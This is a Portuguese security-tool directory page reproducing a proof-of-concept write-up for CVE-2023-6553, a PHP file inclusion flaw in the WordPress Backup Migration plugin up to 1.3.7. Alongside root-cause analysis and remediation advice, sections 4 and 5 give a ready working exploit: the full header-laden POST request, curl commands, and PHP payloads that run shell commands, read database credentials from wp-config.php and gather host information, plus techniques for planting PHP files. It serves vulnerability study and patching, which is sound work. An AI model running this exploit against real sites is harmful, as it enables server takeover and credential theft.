Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-6553 — Exploit de prova de conceito e documentação técnica para CVE-2023-6553, uma vulnerabilidade de inclusão de arquivo PHP não autenticada que permite execução remota de código no plugin WordPress Backup Migration <=1.3.7. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2023-6553
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

Exploit de prova de conceito e documentação técnica para CVE-2023-6553, uma vulnerabilidade de inclusão de arquivo PHP não autenticada que permite execução remota de código no plugin WordPress Backup Migration <=1.3.7.

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-6553

Inclusão de Arquivo PHP Levando a RCE — Plugin Backup Migration

Plugin: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (Crítico)

CWE: CWE-98 — Controle Incorreto do Nome de Arquivo para Instrução Include/Require

Requisito de Autenticação: Nenhum

Impacto: Execução Remota de Código


1. O que é essa vulnerabilidade?

Backup Migration é um plugin WordPress bastante popular (~90.000+ instalações ativas) que ajuda os usuários a criar cópias de backup. Durante o processo de backup, o plugin possui um arquivo chamado backup-heart.php rodando em segundo plano — ele recebe informações de configuração via cabeçalhos HTTP para saber qual diretório precisa ser copiado, onde o arquivo de configuração está localizado, etc.

O problema está no fato de que este arquivo confia totalmente nos cabeçalhos HTTP enviados pelo cliente, coloca o valor do cabeçalho diretamente no caminho do arquivo e, em seguida, usa require_once() para carregar o arquivo desse caminho. Um atacante só precisa enviar o cabeçalho Content-Dir apontando para um diretório contendo código PHP malicioso → o servidor automaticamente inclui e executa o código.

Vale notar que o arquivo backup-heart.php não exige autenticação — ele apenas verifica se o método da requisição é POST, sem validar nenhum nonce ou privilégios de usuário. Qualquer pessoa na internet pode enviar uma requisição para ele.

⇒ Esta é uma vulnerabilidade zero-clique.

AtributoValor
ID CVECVE-2023-6553
Pontuação CVSS9.8 (Crítico)
Pluginbackup-backup (Backup Migration) ≤ 1.3.7
AutenticaçãoNão necessária
Interação do UsuárioNenhuma (zero-clique)
Corrigido emVersão 1.3.8

2. Conhecimentos Prévios

Inclusão de Arquivo em PHP

O PHP possui funções como include(), require(), require_once() usadas para incluir outros arquivos PHP no programa em execução. Quando o caminho de arquivo passado para essas funções vem de entrada do usuário sem validação, um atacante pode forçar o servidor a incluir qualquer arquivo que desejar:

  • LFI (Local File Inclusion): carrega um arquivo existente no servidor — por exemplo, um arquivo de log que foi "envenenado" com código PHP.
  • RFI (Remote File Inclusion): carrega um arquivo de um servidor externo — requer allow_url_include=On (geralmente desabilitado por padrão).

Este CVE se enquadra em LFI — o atacante controla o caminho passado para require_once(), apontando para um arquivo PHP que o atacante conseguiu gravar no servidor.

Por que cabeçalhos HTTP são perigosos?

Muitos desenvolvedores pensam que cabeçalhos HTTP são metadados "internos" conhecidos apenas pelo servidor e pelo cliente. Na realidade, os atacantes controlam 100% do conteúdo do cabeçalho — eles podem definir qualquer nome e valor de cabeçalho. Confiar em cabeçalhos é como confiar em entradas de formulário — isso deve ser validado.

define() e Constantes do PHP

define('NAME', $value) cria uma constante usada em toda a aplicação. Uma vez definida pela função define, o valor não pode ser alterado. Se $value vier de um atacante, todos os lugares que usam essa constante serão afetados.

3. Análise do Código-Fonte — Onde a Vulnerabilidade se Origina?

Passo 1: Encontrando o Sink

Comecei usando grep para buscar por todas as instruções require e include no plugin:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

Os resultados da busca retornaram muitas chamadas require/include. Analisando-as, a maioria eram chamadas include_once em banner/misc.php e banner/views/index.php — essas pertencem ao código de renderização da interface administrativa com caminhos fixos, tornando-as inexploráveis.

No entanto, 2 linhas em backup-heart.php chamaram minha atenção:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

A linha 118 usa require_once com a constante BMI_INCLUDES — se essa constante fosse fixa, estaria segura. Mas olhando para a linha 64, vi que BMI_INCLUDES é construída a partir de outra constante, BMI_ROOT_DIR. Portanto, precisamos rastrear mais: onde BMI_ROOT_DIR recebe seu valor?

Usei grep novamente para rastreá-la:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

Resultados:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

A linha 62 mostra que BMI_ROOT_DIR recebe seu valor de $fields['content-dir']. Esta é uma variável, não um valor fixo — precisamos abrir o arquivo e ver o que $fields contém.

Passo 2: Inspecionando o Código-Fonte — De onde vem $fields?

Abri backup-heart.php no VS Code na linha 62:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

É claramente visível que $fields['content-dir'] vai diretamente para define(). Agora precisamos determinar onde a variável $fields é atribuída:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

Neste ponto, a causa raiz fica extremamente clara: $fields contém todos os cabeçalhos HTTP obtidos via getallheaders() — completamente controlados pelo cliente. Não há wp_verify_nonce(), nenhum current_user_can(), nenhuma verificação de caminho válido — ele simplesmente verifica o método POST e lê os cabeçalhos diretamente.

Passo 3: Resumo do Fluxo de Ataque

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

Resumo da causa raiz: Cabeçalho HTTP → define() → require_once(), com zero etapas de validação no meio.

Passo 4: Depuração com Xdebug

Usei Xdebug + VS Code para confirmar visualmente o fluxo de ataque. Defini 2 breakpoints nas linhas 62 e 118 em backup-heart.php e, em seguida, enviei a requisição de exploit usando curl.

Breakpoint 1 — Linha 62:

O depurador pausou exatamente em define('BMI_ROOT_DIR', $fields['content-dir']). Expandindo a variável $fields no painel Variáveis, apareceu uma matriz de 22 elementos — contendo todos os cabeçalhos HTTP enviados pelo cliente. Especificamente:

  • content-dir = "/tmp/bmi/" — este é exatamente o valor enviado via cabeçalho, que é diretamente atribuído à constante BMI_ROOT_DIR.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — todos controlados pelo atacante.

Não há etapas de validação ou filtragem aplicadas a content-dir antes de passá-lo para define().

image.png

Breakpoint 2 — Linha 118:

Pressionando F5, o depurador pausou em require_once BMI_INCLUDES . '/bypasser.php'. Observando o estado:

  • Painel Variáveis: $fields ainda mantém content-dir = "/tmp/bmi/" — provando que o valor não foi alterado entre as linhas 62 e 118.
  • Painel Pilha de Chamadas: Mostra {main} backup-heart.php 118:1 — código executado direto do topo do arquivo até este ponto, ignorando qualquer middleware ou verificação de autenticação.
  • A linha 118 prepara-se para incluir o arquivo no caminho /tmp/bmi/includes/bypasser.php — um arquivo cujo conteúdo é controlado pelo atacante.

image.png

Os resultados da depuração confirmam perfeitamente o fluxo analisado no Passo 3: o cabeçalho HTTP percorre getallheaders() → define() → require_once(), sem validação no meio.

4. Cadeia de Ataque

Passo 1 — Colocando Arquivo PHP no Servidor

Antes de acionar a inclusão, um arquivo PHP já deve existir no servidor alvo. Técnicas comuns incluem:

MétodoConceito
Envenenamento de logEnviar uma requisição contendo <?php ... ?> no User-Agent → o código é gravado no log de acesso → incluir o arquivo de log
Sessão PHPEscrever código PHP em um arquivo de sessão localizado em /tmp/sess_xxx
Cadeia de uploadUsar o recurso de upload de mídia/avatar do WordPress para enviar o arquivo
Log de erros do pluginO plugin grava seu próprio log de erros — acionar um erro contendo código PHP grava o código no arquivo de log

Passo 2 — Acionar Inclusão via 1 Requisição POST

Envie uma requisição com Content-Dir apontando para o diretório que contém o payload. O servidor automaticamente faz require e executa o arquivo do atacante.

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

Todos os cabeçalhos Content-* devem ser fornecidos porque backup-heart.php os usa em outras chamadas define() — cabeçalhos ausentes acionam avisos do PHP e podem abortar a execução antes de chegar ao require_once.

5. PoC — Exploração em Laboratório

5.1 Verificar se o Endpoint está Acessível

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

Retorna 200 — o endpoint está acessível e não solicita autenticação.

image.png

5.2 Criar Arquivo de Payload

Crie a estrutura de diretórios correspondente ao que require_once espera encontrar: {Content-Dir}includes/bypasser.php:

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 Enviar Exploit — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

Resultado da saída:

image.png

RCE bem-sucedido — o servidor executa o comando id e retorna a saída.

5.4 Demonstrando o Impacto — Lendo Credenciais do Banco de Dados

Após confirmar o RCE, alterei o payload para demonstrar que um atacante pode ler informações sensíveis no servidor. Altere o conteúdo do arquivo de payload para ler wp-config.php:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

Reenvie a mesma requisição de exploit com curl → a saída retorna os detalhes de conexão com o banco de dados:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

O atacante pode ler qualquer arquivo ao qual www-data tenha permissão de acesso — wp-config.php, /etc/passwd, código-fonte de outros plugins — expandindo a superfície de ataque.

image.png

5.5 Coletando Informações do Sistema

Modifique ainda mais o payload para demonstrar que o atacante pode coletar informações do sistema do servidor — auxiliando na escalada de privilégios ou movimento lateral:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

Envie o exploit com curl → saída:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

A partir dessa saída, o atacante descobre:

  • Versão do kernel — usada para encontrar exploits de kernel para escalada de privilégios para root
  • IP interno 172.18.0.3 — confirma que o servidor está dentro de uma rede Docker, permitindo pivoting para outros contêineres (banco de dados, cache, etc.)

6. Severidade do Impacto

Métrica CVSSValorMotivo
Vetor de AtaqueRedeVia HTTP
Complexidade do AtaqueBaixa1 requisição POST, sem condições de tempo ou condições especiais
Privilégios NecessáriosNenhumO endpoint não exige autenticação
Interação do UsuárioNenhumaConduzido pelo atacante, a vítima não requer interação
ConfidencialidadeAltaPode ler qualquer arquivo: wp-config.php, /etc/passwd, código-fonte
IntegridadeAltaGravação arbitrária de arquivos, instalação de webshell, modificação de banco de dados
DisponibilidadeAltaExclusão de arquivos, encerramento de processos, comprometimento total do servidor

Impacto no Mundo Real

  • Mais de 90.000 sites usam este plugin.
  • O atacante verifica a presença do plugin por meio de 1 requisição POST ao endpoint — 200 significa presente, 404 significa ausente.
  • O plugin desativado ainda é explorável porque backup-heart.php reside no disco e pode ser acessado diretamente via URL.
  • Após o RCE, o atacante pode: extrair o banco de dados, instalar backdoors, pivotar para outros servidores na mesma rede.

7. Mitigação e Remediação

O que os desenvolvedores devem fazer

Não use cabeçalhos HTTP para determinar caminhos de arquivo. Use caminhos relativos derivados de __DIR__:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

Adicione uma verificação de autorização — apenas administradores do WordPress devem poder invocar este endpoint:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

O que os administradores do WordPress devem fazer

  1. Atualize imediatamente para a versão ≥ 1.3.8.
  2. Se não estiver em uso, exclua o plugin completamente — desativar é insuficiente porque os arquivos permanecem acessíveis.
  3. Inspecione os logs de acesso em busca de requisições suspeitas direcionadas a backup-heart.php.
  4. Implemente regras de WAF que bloqueiem requisições POST diretas para /wp-content/plugins/*/includes/*.php.
Baixar ferramenta